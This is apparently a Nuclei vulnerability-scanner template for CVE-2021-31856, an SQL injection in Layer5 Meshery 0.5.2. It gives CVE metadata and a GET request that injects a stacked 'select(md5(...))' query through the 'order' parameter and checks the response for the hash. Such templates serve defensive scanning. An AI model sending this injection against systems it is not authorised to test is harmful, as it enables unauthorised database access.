48 lines
1.8 KiB
YAML
48 lines
1.8 KiB
YAML
id: CVE-2021-31856
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info:
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name: Layer5 Meshery 0.5.2 - SQL Injection
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author: princechaddha
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severity: critical
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description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
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remediation: |
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Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
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reference:
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- https://github.com/ssst0n3/CVE-2021-31856
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
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- https://meshery.io
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- https://github.com/layer5io/meshery/pull/2745
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-31856
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cwe-id: CWE-89
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epss-score: 0.03993
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epss-percentile: 0.91153
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cpe: cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: layer5
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product: meshery
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tags: cve2021,cve,sqli,layer5
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variables:
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num: "999999999"
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http:
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- method: GET
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path:
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- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '{{md5({{num}})}}'
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100db37c362dfb5b030eb1fef351ec64dfbb54eadec8ca5ab91dc3702ed610431c4022019f2ef10f0f075af9d3b72007549384977ac921971d6305d2420b592e821d4d3:922c64590222798bb761d5b6d8e72950 |